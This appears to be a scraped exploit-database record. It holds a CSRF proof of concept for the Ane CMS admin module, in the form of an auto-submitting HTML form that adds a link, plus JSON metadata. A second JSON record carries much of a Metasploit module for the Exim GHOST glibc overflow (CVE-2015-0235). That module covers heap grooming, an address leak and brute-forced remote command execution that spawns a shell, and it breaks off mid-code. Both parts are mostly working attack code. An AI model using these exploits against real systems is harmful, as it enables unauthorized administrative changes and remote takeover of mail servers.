ID 1337DAY-ID-11264 Type zdt Reporter Pratul Agrawal Modified 2010-03-11T00:00:00
Description
Exploit for unknown platform in category web applications
==========================
Ane CMS CSRF Vulnerability
==========================
# Vulnerability found in- Admin module
# Credit by Pratul Agrawal
# Software Ane_CMS
# Category CMS / Portals
# Plateform php
# Proof of concept #
Targeted URL: http://server/acp/index.php?p=cfg&m=links
Script to Add a new link through Cross Site request forgery
. ................................................................................................................
<html>
<body>
<form name="XYZ" action="http://server/acp/index.php?p=cfg&m=links&id=0" method="post">
<input type=hidden name="name" value="master">
<input type=hidden name="link" value="master.asp">
<input type=hidden name="type" value="1">
<input type=hidden name="view" value="0">
</form>
<script>
document.XYZ.submit();
</script>
</body>
</html>
. ..................................................................................................................
After execution refresh the page and u can see that a new link with teh given name is Added automatically.
# 0day.today [2018-01-03] #
{"id": "1337DAY-ID-11264", "bulletinFamily": "exploit", "title": "Ane CMS CSRF Vulnerability", "description": "Exploit for unknown platform in category web applications", "published": "2010-03-11T00:00:00", "modified": "2010-03-11T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://0day.today/exploit/description/11264", "reporter": "Pratul Agrawal", "references": [], "cvelist": [], "type": "zdt", "lastseen": "2018-01-03T19:05:32", "history": [{"bulletin": {"bulletinFamily": "exploit", "cvelist": [], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Exploit for unknown platform in category web applications", "edition": 1, "enchantments": {"score": {"modified": "2016-04-20T00:00:35", "value": 4.4}}, "hash": "fe5fdb024ab4a3b9c59e887f23ddf833e97cc95123cd6cbef48a6627e91823ac", "hashmap": [{"hash": "ce736cfd61e25f56ecd46eef1332867a", "key": "reporter"}, {"hash": "a2b526a92abbc7c48e826aa51a268aa9", "key": "href"}, {"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "ed9655cbc2c4c3e94b5e0391b5000980", "key": "published"}, {"hash": "46d92f13ac9ef6db76dbffff0719e5c7", "key": "sourceData"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "ed9655cbc2c4c3e94b5e0391b5000980", "key": "modified"}, {"hash": "cb0b67889266d80fcb41158677265f9d", "key": "sourceHref"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "ae201b85667cc6751ac6112fc023733e", "key": "title"}, {"hash": "00157601768b634735774d15ccd18f9e", "key": "description"}], "history": [], "href": "http://0day.today/exploit/description/11264", "id": "1337DAY-ID-11264", "lastseen": "2016-04-20T00:00:35", "modified": "2010-03-11T00:00:00", "objectVersion": "1.0", "published": "2010-03-11T00:00:00", "references": [], "reporter": "Pratul Agrawal", "sourceData": "==========================\r\nAne CMS CSRF Vulnerability\r\n==========================\r\n\r\n# Vulnerability found in- Admin module\r\n \r\n# Credit by Pratul Agrawal\r\n \r\n# Software Ane_CMS\r\n \r\n# Category CMS / Portals\r\n \r\n# Plateform php\r\n \r\n \r\n \r\n# Proof of concept #\r\n \r\nTargeted URL: http://server/acp/index.php?p=cfg&m=links\r\n \r\n \r\n Script to Add a new link through Cross Site request forgery\r\n \r\n . ................................................................................................................\r\n \r\n <html>\r\n \r\n <body>\r\n \r\n <form name=\"XYZ\" action=\"http://server/acp/index.php?p=cfg&m=links&id=0\" method=\"post\">\r\n \r\n <input type=hidden name=\"name\" value=\"master\">\r\n \r\n <input type=hidden name=\"link\" value=\"master.asp\">\r\n \r\n <input type=hidden name=\"type\" value=\"1\">\r\n \r\n <input type=hidden name=\"view\" value=\"0\">\r\n \r\n </form>\r\n \r\n <script>\r\n \r\n document.XYZ.submit();\r\n \r\n </script>\r\n \r\n </body>\r\n \r\n </html>\r\n \r\n . ..................................................................................................................\r\n \r\n \r\n \r\nAfter execution refresh the page and u can see that a new link with teh given name is Added automatically.\r\n\r\n\r\n\n# 0day.today [2016-04-19] #", "sourceHref": "http://0day.today/exploit/11264", "title": "Ane CMS CSRF Vulnerability", "type": "zdt", "viewCount": 0}, "differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-20T00:00:35"}], "edition": 2, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "00157601768b634735774d15ccd18f9e"}, {"key": "href", "hash": "04c086b702bfd6ab1946da207e642a80"}, {"key": "modified", "hash": "ed9655cbc2c4c3e94b5e0391b5000980"}, {"key": "published", "hash": "ed9655cbc2c4c3e94b5e0391b5000980"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "ce736cfd61e25f56ecd46eef1332867a"}, {"key": "sourceData", "hash": "97cc82bc8d2f2fe7b1e1ece860e93132"}, {"key": "sourceHref", "hash": "278e320b78ecd159b89979607ab701a2"}, {"key": "title", "hash": "ae201b85667cc6751ac6112fc023733e"}, {"key": "type", "hash": "0678144464852bba10aa2eddf3783f0a"}], "hash": "8ed709a7448888dd46e301f84ae4a2d559e2272a9ab3818c0286ce77ba6d693a", "viewCount": 1, "enchantments": {"vulnersScore": 4.7}, "objectVersion": "1.3", "sourceHref": "https://0day.today/exploit/11264", "sourceData": "==========================\r\nAne CMS CSRF Vulnerability\r\n==========================\r\n\r\n# Vulnerability found in- Admin module\r\n \r\n# Credit by Pratul Agrawal\r\n \r\n# Software Ane_CMS\r\n \r\n# Category CMS / Portals\r\n \r\n# Plateform php\r\n \r\n \r\n \r\n# Proof of concept #\r\n \r\nTargeted URL: http://server/acp/index.php?p=cfg&m=links\r\n \r\n \r\n Script to Add a new link through Cross Site request forgery\r\n \r\n . ................................................................................................................\r\n \r\n <html>\r\n \r\n <body>\r\n \r\n <form name=\"XYZ\" action=\"http://server/acp/index.php?p=cfg&m=links&id=0\" method=\"post\">\r\n \r\n <input type=hidden name=\"name\" value=\"master\">\r\n \r\n <input type=hidden name=\"link\" value=\"master.asp\">\r\n \r\n <input type=hidden name=\"type\" value=\"1\">\r\n \r\n <input type=hidden name=\"view\" value=\"0\">\r\n \r\n </form>\r\n \r\n <script>\r\n \r\n document.XYZ.submit();\r\n \r\n </script>\r\n \r\n </body>\r\n \r\n </html>\r\n \r\n . ..................................................................................................................\r\n \r\n \r\n \r\nAfter execution refresh the page and u can see that a new link with teh given name is Added automatically.\r\n\r\n\r\n\n# 0day.today [2018-01-03] #"}
{"result": {"zdt": [{"lastseen": "2018-01-10T07:05:00", "references": [], "description": "Exploit for linux platform in category remote exploits", "edition": 2, "reporter": "Qualys Corporation", "published": "2015-03-19T00:00:00", "title": "Exim GHOST (glibc gethostbyname) Buffer Overflow Exploit", "type": "zdt", "enchantments": {"score": {"modified": "2018-01-10T07:05:00", "vector": "AV:N/AC:M/Au:M/C:P/I:N/A:P/", "value": 4.3}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2015-0235"], "modified": "2015-03-19T00:00:00", "id": "1337DAY-ID-23392", "href": "https://0day.today/exploit/description/23392", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n \r\nrequire 'msf/core'\r\n \r\nclass Metasploit4 < Msf::Exploit::Remote\r\n Rank = GreatRanking\r\n \r\n include Msf::Exploit::Remote::Tcp\r\n \r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',\r\n 'Description' => %q(\r\n This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based\r\n buffer overflow in the GNU C Library's gethostbyname functions) on x86\r\n and x86_64 GNU/Linux systems that run the Exim mail server. Technical\r\n information about the exploitation can be found in the original GHOST\r\n advisory, and in the source code of this module.\r\n ------------------------------------------------------------------------\r\n SERVER-SIDE REQUIREMENTS (Exim)\r\n ------------------------------------------------------------------------\r\n The remote system must use a vulnerable version of the GNU C Library:\r\n the first exploitable version is glibc-2.6, the last exploitable version\r\n is glibc-2.17; older versions might be exploitable too, but this module\r\n depends on the newer versions' fd_nextsize (a member of the malloc_chunk\r\n structure) to remotely obtain the address of Exim's smtp_cmd_buffer in\r\n the heap.\r\n ------------------------------------------------------------------------\r\n The remote system must run the Exim mail server: the first exploitable\r\n version is exim-4.77; older versions might be exploitable too, but this\r\n module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably\r\n set up the heap as described in the GHOST advisory.\r\n ------------------------------------------------------------------------\r\n The remote Exim mail server must be configured to perform extra security\r\n checks against its SMTP clients: either the helo_try_verify_hosts or the\r\n helo_verify_hosts option must be enabled; the \"verify = helo\" ACL might\r\n be exploitable too, but is unpredictable and therefore not supported by\r\n this module.\r\n ------------------------------------------------------------------------\r\n CLIENT-SIDE REQUIREMENTS (Metasploit)\r\n ------------------------------------------------------------------------\r\n This module's \"exploit\" method requires the SENDER_HOST_ADDRESS option\r\n to be set to the IPv4 address of the SMTP client (Metasploit), as seen\r\n by the SMTP server (Exim); additionally, this IPv4 address must have\r\n both forward and reverse DNS entries that match each other\r\n (Forward-Confirmed reverse DNS).\r\n ------------------------------------------------------------------------\r\n The remote Exim server might be exploitable even if the Metasploit\r\n client has no FCrDNS, but this module depends on Exim's sender_host_name\r\n variable to be set in order to reliably control the state of the remote\r\n heap.\r\n ------------------------------------------------------------------------\r\n TROUBLESHOOTING\r\n ------------------------------------------------------------------------\r\n \"bad SENDER_HOST_ADDRESS (nil)\" failure: the SENDER_HOST_ADDRESS option\r\n was not specified.\r\n ------------------------------------------------------------------------\r\n \"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)\" failure:\r\n the SENDER_HOST_ADDRESS option was specified, but not in IPv4\r\n dotted-decimal notation.\r\n ------------------------------------------------------------------------\r\n \"bad SENDER_HOST_ADDRESS (helo_verify_hosts)\" or\r\n \"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)\" failure: the\r\n SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP\r\n client (Metasploit), as seen by the SMTP server (Exim).\r\n ------------------------------------------------------------------------\r\n \"bad SENDER_HOST_ADDRESS (no FCrDNS)\" failure: the IPv4 address of the\r\n SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.\r\n ------------------------------------------------------------------------\r\n \"not vuln? old glibc? (no leaked_arch)\" failure: the remote Exim server\r\n is either not vulnerable, or not exploitable (glibc versions older than\r\n glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).\r\n ------------------------------------------------------------------------\r\n \"NUL, CR, LF in addr? (no leaked_addr)\" failure: Exim's heap address\r\n contains bad characters (NUL, CR, LF) and was therefore mangled during\r\n the information leak; this exploit is able to reconstruct most of these\r\n addresses, but not all (worst-case probability is ~1/85, but could be\r\n further improved).\r\n ------------------------------------------------------------------------\r\n \"Brute-force SUCCESS\" followed by a nil reply, but no shell: the remote\r\n Unix command was executed, but spawned a bind-shell or a reverse-shell\r\n that failed to connect (maybe because of a firewall, or a NAT, etc).\r\n ------------------------------------------------------------------------\r\n \"Brute-force SUCCESS\" followed by a non-nil reply, and no shell: the\r\n remote Unix command was executed, but failed to spawn the shell (maybe\r\n because the setsid command doesn't exist, or awk isn't gawk, or netcat\r\n doesn't support the -6 or -e option, or telnet doesn't support the -z\r\n option, etc).\r\n ------------------------------------------------------------------------\r\n Comments and questions are welcome!\r\n ),\r\n 'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],\r\n 'License' => BSD_LICENSE,\r\n 'References' => [\r\n ['CVE', '2015-0235'],\r\n ['US-CERT-VU', '967332'],\r\n ['OSVDB', '117579'],\r\n ['BID', '72325'],\r\n ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']\r\n ],\r\n 'DisclosureDate' => 'Jan 27 2015',\r\n 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)\r\n 'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload\r\n 'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^\r\n 'Payload' => {\r\n 'Space' => 255, # the shorter the payload, the higher the probability of code execution\r\n 'BadChars' => \"\", # we encode the payload ourselves, because ^\r\n 'DisableNops' => true,\r\n 'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell\r\n },\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultTarget' => 0\r\n ))\r\n \r\n register_options([\r\n Opt::RPORT(25),\r\n OptAddress.new('SENDER_HOST_ADDRESS', [false,\r\n 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])\r\n ], self.class)\r\n \r\n register_advanced_options([\r\n OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])\r\n ], self.class)\r\n end\r\n \r\n def check\r\n # for now, no information about the vulnerable state of the target\r\n check_code = Exploit::CheckCode::Unknown\r\n \r\n begin\r\n # not exploiting, just checking\r\n smtp_connect(false)\r\n \r\n # malloc()ate gethostbyname's buffer, and\r\n # make sure its next_chunk isn't the top chunk\r\n \r\n 9.times do\r\n smtp_send(\"HELO \", \"\", \"0\", \"\", \"\", 1024+16-1+0)\r\n smtp_recv(HELO_CODES)\r\n end\r\n \r\n # overflow (4 bytes) gethostbyname's buffer, and\r\n # overwrite its next_chunk's size field with 0x00303030\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", \"\", \"\", 1024+16-1+4)\r\n # from now on, an exception means vulnerable\r\n check_code = Exploit::CheckCode::Vulnerable\r\n # raise an exception if no valid SMTP reply\r\n reply = smtp_recv(ANY_CODE)\r\n # can't determine vulnerable state if smtp_verify_helo() isn't called\r\n return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/\r\n \r\n # realloc()ate gethostbyname's buffer, and\r\n # crash (old glibc) or abort (new glibc)\r\n # on the overwritten size field\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", \"\", \"\", 2048-16-1+4)\r\n # raise an exception if no valid SMTP reply\r\n reply = smtp_recv(ANY_CODE)\r\n # can't determine vulnerable state if smtp_verify_helo() isn't called\r\n return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/\r\n # a vulnerable target should've crashed by now\r\n check_code = Exploit::CheckCode::Safe\r\n \r\n rescue\r\n peer = \"#{rhost}:#{rport}\"\r\n vprint_debug(\"#{peer} - Caught #{$!.class}: #{$!.message}\")\r\n \r\n ensure\r\n smtp_disconnect\r\n end\r\n \r\n return check_code\r\n end\r\n \r\n def exploit\r\n unless datastore['I_KNOW_WHAT_I_AM_DOING']\r\n print_status(\"Checking if target is vulnerable...\")\r\n fail_with(\"exploit\", \"Vulnerability check failed.\") if check != Exploit::CheckCode::Vulnerable\r\n print_good(\"Target is vulnerable.\")\r\n end\r\n information_leak\r\n code_execution\r\n end\r\n \r\n private\r\n \r\n HELO_CODES = '250|451|550'\r\n ANY_CODE = '[0-9]{3}'\r\n \r\n MIN_HEAP_SHIFT = 80\r\n MIN_HEAP_SIZE = 128 * 1024\r\n MAX_HEAP_SIZE = 1024 * 1024\r\n \r\n # Exim\r\n ALIGNMENT = 8\r\n STORE_BLOCK_SIZE = 8192\r\n STOREPOOL_MIN_SIZE = 256\r\n \r\n LOG_BUFFER_SIZE = 8192\r\n BIG_BUFFER_SIZE = 16384\r\n \r\n SMTP_CMD_BUFFER_SIZE = 16384\r\n IN_BUFFER_SIZE = 8192\r\n \r\n # GNU C Library\r\n PREV_INUSE = 0x1\r\n NS_MAXDNAME = 1025\r\n \r\n # Linux\r\n MMAP_MIN_ADDR = 65536\r\n \r\n def information_leak\r\n print_status(\"Trying information leak...\")\r\n leaked_arch = nil\r\n leaked_addr = []\r\n \r\n # try different heap_shift values, in case Exim's heap address contains\r\n # bad chars (NUL, CR, LF) and was mangled during the information leak;\r\n # we'll keep the longest one (the least likely to have been truncated)\r\n \r\n 16.times do\r\n done = catch(:another_heap_shift) do\r\n heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)\r\n print_debug(\"#{{ heap_shift: heap_shift }}\")\r\n \r\n # write the malloc_chunk header at increasing offsets (8-byte step),\r\n # until we overwrite the \"503 sender not yet given\" error message\r\n \r\n 128.step(256, 8) do |write_offset|\r\n error = try_information_leak(heap_shift, write_offset)\r\n print_debug(\"#{{ write_offset: write_offset, error: error }}\")\r\n throw(:another_heap_shift) if not error\r\n next if error == \"503 sender not yet given\"\r\n \r\n # try a few more offsets (allows us to double-check things,\r\n # and distinguish between 32-bit and 64-bit machines)\r\n \r\n error = [error]\r\n 1.upto(5) do |i|\r\n error[i] = try_information_leak(heap_shift, write_offset + i*8)\r\n throw(:another_heap_shift) if not error[i]\r\n end\r\n print_debug(\"#{{ error: error }}\")\r\n \r\n _leaked_arch = leaked_arch\r\n if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize\r\n (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd\r\n (error[4] =~ /\\A503 send[^e].?\\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size\r\n (error[5] == \"177\") # the last \\x7F of our BAD1 command, encoded as \\\\177 by string_printing()\r\n leaked_arch = ARCH_X86_64\r\n \r\n elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize\r\n (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd\r\n (error[2] =~ /\\A503 [^s].?\\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size\r\n (error[3] == \"177\") # the last \\x7F of our BAD1 command, encoded as \\\\177 by string_printing()\r\n leaked_arch = ARCH_X86\r\n \r\n else\r\n throw(:another_heap_shift)\r\n end\r\n print_debug(\"#{{ leaked_arch: leaked_arch }}\")\r\n fail_with(\"infoleak\", \"arch changed\") if _leaked_arch and _leaked_arch != leaked_arch\r\n \r\n # try different large-bins: most of them should be empty,\r\n # so keep the most frequent fd_nextsize address\r\n # (a pointer to the malloc_chunk itself)\r\n \r\n count = Hash.new(0)\r\n 0.upto(9) do |last_digit|\r\n error = try_information_leak(heap_shift, write_offset, last_digit)\r\n next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes\r\n next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK\r\n count[error] += 1\r\n end\r\n print_debug(\"#{{ count: count }}\")\r\n throw(:another_heap_shift) if count.empty?\r\n \r\n # convert count to a nested array of [key, value] arrays and sort it\r\n error_count = count.sort { |a, b| b[1] <=> a[1] }\r\n error_count = error_count.first # most frequent\r\n error = error_count[0]\r\n count = error_count[1]\r\n throw(:another_heap_shift) unless count >= 6 # majority\r\n leaked_addr.push({ error: error, shift: heap_shift })\r\n \r\n # common-case shortcut\r\n if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == \"er not yet given\") or\r\n (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count(\"\\x7E-\\x7F\").nonzero?)\r\n leaked_addr = [leaked_addr.last] # use this one, and not another\r\n throw(:another_heap_shift, true) # done\r\n end\r\n throw(:another_heap_shift)\r\n end\r\n throw(:another_heap_shift)\r\n end\r\n break if done\r\n end\r\n \r\n fail_with(\"infoleak\", \"not vuln? old glibc? (no leaked_arch)\") if leaked_arch.nil?\r\n fail_with(\"infoleak\", \"NUL, CR, LF in addr? (no leaked_addr)\") if leaked_addr.empty?\r\n \r\n leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }\r\n leaked_addr = leaked_addr.first # longest\r\n error = leaked_addr[:error]\r\n shift = leaked_addr[:shift]\r\n \r\n leaked_addr = 0\r\n (leaked_arch == ARCH_X86 ? 4 : 8).times do |i|\r\n break if i >= error.length\r\n leaked_addr += error.unpack('C*')[i] * (2**(i*8))\r\n end\r\n # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:\r\n leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE\r\n fail_with(\"infoleak\", \"NUL, CR, LF in addr? (no leaked_addr)\") if leaked_addr <= MMAP_MIN_ADDR\r\n \r\n print_good(\"Successfully leaked_arch: #{leaked_arch}\")\r\n print_good(\"Successfully leaked_addr: #{leaked_addr.to_s(16)}\")\r\n @leaked = { arch: leaked_arch, addr: leaked_addr }\r\n end\r\n \r\n def try_information_leak(heap_shift, write_offset, last_digit = 9)\r\n fail_with(\"infoleak\", \"heap_shift\") if (heap_shift < MIN_HEAP_SHIFT)\r\n fail_with(\"infoleak\", \"heap_shift\") if (heap_shift & 15) != 0\r\n fail_with(\"infoleak\", \"write_offset\") if (write_offset & 7) != 0\r\n fail_with(\"infoleak\", \"last_digit\") if \"#{last_digit}\" !~ /\\A[0-9]\\z/\r\n \r\n smtp_connect\r\n \r\n # bulletproof Heap Feng Shui; the hard part is avoiding:\r\n # \"Too many syntax or protocol errors\" (3)\r\n # \"Too many unrecognized commands\" (3)\r\n # \"Too many nonmail commands\" (10)\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 11*1024+13-1 + heap_shift)\r\n smtp_recv(250)\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 3*1024+13-1)\r\n smtp_recv(250)\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 3*1024+16+13-1)\r\n smtp_recv(250)\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 8*1024+16+13-1)\r\n smtp_recv(250)\r\n \r\n smtp_send(\"HELO \", \"\", \"0\", @sender[:hostaddr8], \"\", 5*1024+16+13-1)\r\n smtp_recv(250)\r\n \r\n # overflow (3 bytes) gethostbyname's buffer, and\r\n # overwrite its next_chunk's size field with 0x003?31\r\n # ^ last_digit\r\n smtp_send(\"HELO \", \"\", \"0\", \".1#{last_digit}\", \"\", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)\r\n begin # ^ 0x30 | PREV_INUSE\r\n smtp_recv(HELO_CODES)\r\n \r\n smtp_send(\"RSET\")\r\n smtp_recv(250)\r\n \r\n smtp_send(\"RCPT TO:\", \"\", method(:rand_text_alpha), \"\\x7F\", \"\", 15*1024)\r\n smtp_recv(503, 'sender not yet given')\r\n \r\n smtp_send(\"\", \"BAD1 \", method(:rand_text_alpha), \"\\x7F\\x7F\\x7F\\x7F\", \"\", 10*1024-16-1 + write_offset)\r\n smtp_recv(500, '\\A500 unrecognized command\\r\\n\\z')\r\n \r\n smtp_send(\"BAD2 \", \"\", method(:rand_text_alpha), \"\\x7F\", \"\", 15*1024)\r\n smtp_recv(500, '\\A500 unrecognized command\\r\\n\\z')\r\n \r\n smtp_send(\"DATA\")\r\n reply = smtp_recv(503)\r\n \r\n lines = reply[:lines]\r\n fail if lines.size <= 3\r\n fail if lines[+0] != \"503-All RCPT commands were rejected with this error:\\r\\n\"\r\n fail if lines[-2] != \"503-valid RCPT command must precede DATA\\r\\n\"\r\n fail if lines[-1] != \"503 Too many syntax or protocol errors\\r\\n\"\r\n \r\n # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting\r\n # (the \"while (isspace(*msg)) msg++;\" loop can't be easily reversed,\r\n # but happens with lower probability)\r\n \r\n error = lines[+1..-3].join(\"\")\r\n error.sub!(/\\A503-/mn, \"\")\r\n error.sub!(/\\r\\n\\z/mn, \"\")\r\n error.gsub!(/\\r\\n503-/mn, \"\\n\")\r\n return error\r\n \r\n rescue\r\n return nil\r\n end\r\n \r\n ensure\r\n smtp_disconnect\r\n end\r\n \r\n def code_execution\r\n print_status(\"Trying code execution...\")\r\n \r\n # can't \"${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} \" anymore:\r\n # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure\r\n # that rogue child processes cannot use them.\r\n \r\n fail_with(\"codeexec\", \"encoded payload\") if payload.raw != payload.encoded\r\n fail_with(\"codeexec\", \"invalid payload\") if payload.raw.empty? or payload.raw.count(\"^\\x20-\\x7E\").nonzero?\r\n # Exim processes our run-ACL with expand_string() first (hence the [\\$\\{\\}\\\\] escapes),\r\n # and transport_set_up_command(), string_dequote() next (hence the [\\\"\\\\] escapes).\r\n encoded = payload.raw.gsub(/[\\\"\\\\]/, '\\\\\\\\\\\\&').gsub(/[\\$\\{\\}\\\\]/, '\\\\\\\\\\\\&')\r\n # setsid because of Exim's \"killpg(pid, SIGKILL);\" after \"alarm(60);\"\r\n command = '${run{/usr/bin/env setsid /bin/sh -c \"' + encoded + '\"}}'\r\n print_debug(command)\r\n \r\n # don't try to execute commands directly, try a very simple ACL first,\r\n # to distinguish between exploitation-problems and shellcode-problems\r\n \r\n acldrop = \"drop message=\"\r\n message = rand_text_alpha(command.length - acldrop.length)\r\n acldrop += message\r\n \r\n max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)\r\n max_heap_addr = @leaked[:addr]\r\n min_heap_addr = nil\r\n survived = nil\r\n \r\n # we later fill log_buffer and big_buffer with alpha chars,\r\n # which creates a safe-zone at the beginning of the heap,\r\n # where we can't possibly crash during our brute-force\r\n \r\n # 4, because 3 copies of sender_helo_name, and step_len;\r\n # start big, but refine little by little in case\r\n # we crash because we overwrite important data\r\n \r\n helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4\r\n loop do\r\n \r\n sender_helo_name = \"A\" * helo_len\r\n address = sprintf(\"[%s]:%d\", @sender[:hostaddr], 65535)\r\n \r\n # the 3 copies of sender_helo_name, allocated by\r\n # host_build_sender_fullhost() in POOL_PERM memory\r\n \r\n helo_ip_size = ALIGNMENT +\r\n sender_helo_name[+1..-2].length\r\n \r\n sender_fullhost_size = ALIGNMENT +\r\n sprintf(\"%s (%s) %s\", @sender[:hostname], sender_helo_name, address).length\r\n \r\n sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?\r\n sprintf(\"%s (%s helo=%s)\", @sender[:hostname], address, sender_helo_name) :\r\n sprintf(\"%s\\n\\t(%s helo=%s ident=%s)\", @sender[:hostname], address, sender_helo_name, @sender[:ident])\r\n ).length\r\n \r\n # fit completely into the safe-zone\r\n step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -\r\n (max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)\r\n loop do\r\n \r\n # inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer\r\n # with alpha chars, which creates another safe-zone at the end of the heap)\r\n heap_addr = max_heap_addr\r\n loop do\r\n \r\n # try harder the first time around: we obtain better\r\n # heap boundaries, and we usually hit our ACL faster\r\n \r\n (min_heap_addr ? 1 : 2).times do\r\n \r\n # try the same heap_addr several times, but with different random offsets,\r\n # in case we crash because our hijacked storeblock's length field is too small\r\n # (we don't control what's stored at heap_addr)\r\n \r\n rand_offset = rand(max_rand_offset)\r\n print_debug(\"#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}\")\r\n reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)\r\n print_debug(\"#{{ reply: reply }}\") if reply\r\n \r\n if reply and\r\n reply[:code] == \"550\" and\r\n # detect the parsed ACL, not the \"still in text form\" ACL (with \"=\")\r\n reply[:lines].join(\"\").delete(\"^=A-Za-z\") =~ /(\\A|[^=])#{message}/mn\r\n print_good(\"Brute-force SUCCESS\")\r\n print_good(\"Please wait for reply...\")\r\n # execute command this time, not acldrop\r\n reply = try_code_execution(helo_len, command, heap_addr + rand_offset)\r\n print_debug(\"#{{ reply: reply }}\")\r\n return handler\r\n end\r\n \r\n if not min_heap_addr\r\n if reply\r\n fail_with(\"codeexec\", \"no min_heap_addr\") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE\r\n survived = heap_addr\r\n else\r\n if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE\r\n # survived should point to our safe-zone at the beginning of the heap\r\n fail_with(\"codeexec\", \"never survived\") if not survived\r\n print_good \"Brute-forced min_heap_addr: #{survived.to_s(16)}\"\r\n min_heap_addr = survived\r\n end\r\n end\r\n end\r\n end\r\n \r\n heap_addr -= step_len\r\n break if min_heap_addr and heap_addr < min_heap_addr\r\n end\r\n \r\n break if step_len < 1024\r\n step_len /= 2\r\n end\r\n \r\n helo_len /= 2\r\n break if helo_len < 1024\r\n # ^ otherwise the 3 copies of sender_helo_name will\r\n # fit into the current_block of POOL_PERM memory\r\n end\r\n fail_with(\"codeexec\", \"Brute-force FAILURE\")\r\n end\r\n \r\n # our write-what-where primitive\r\n def try_code_execution(len, what, where)\r\n fail_with(\"codeexec\", \"#{what.length} >= #{len}\") if what.length >= len\r\n fail_with(\"codeexec\", \"#{where} < 0\") if where < 0\r\n \r\n x86 = (@leaked[:arch] == ARCH_X86)\r\n min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))\r\n heap_shift = min_heap_shift + rand(1024 - min_heap_shift)\r\n last_digit = 1 + rand(9)\r\n \r\n smtp_connect\r\n \r\n # fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars\r\n smtp_send(\"MAIL FROM:\", \"\", method(:rand_text_alpha), \"<#{rand_text_alpha_upper(8)}>\", \"\", BIG_BUFFER_SIZE -\r\n \"501 : sender address must contain a domain\\r\\n\\0\".length)\r\n 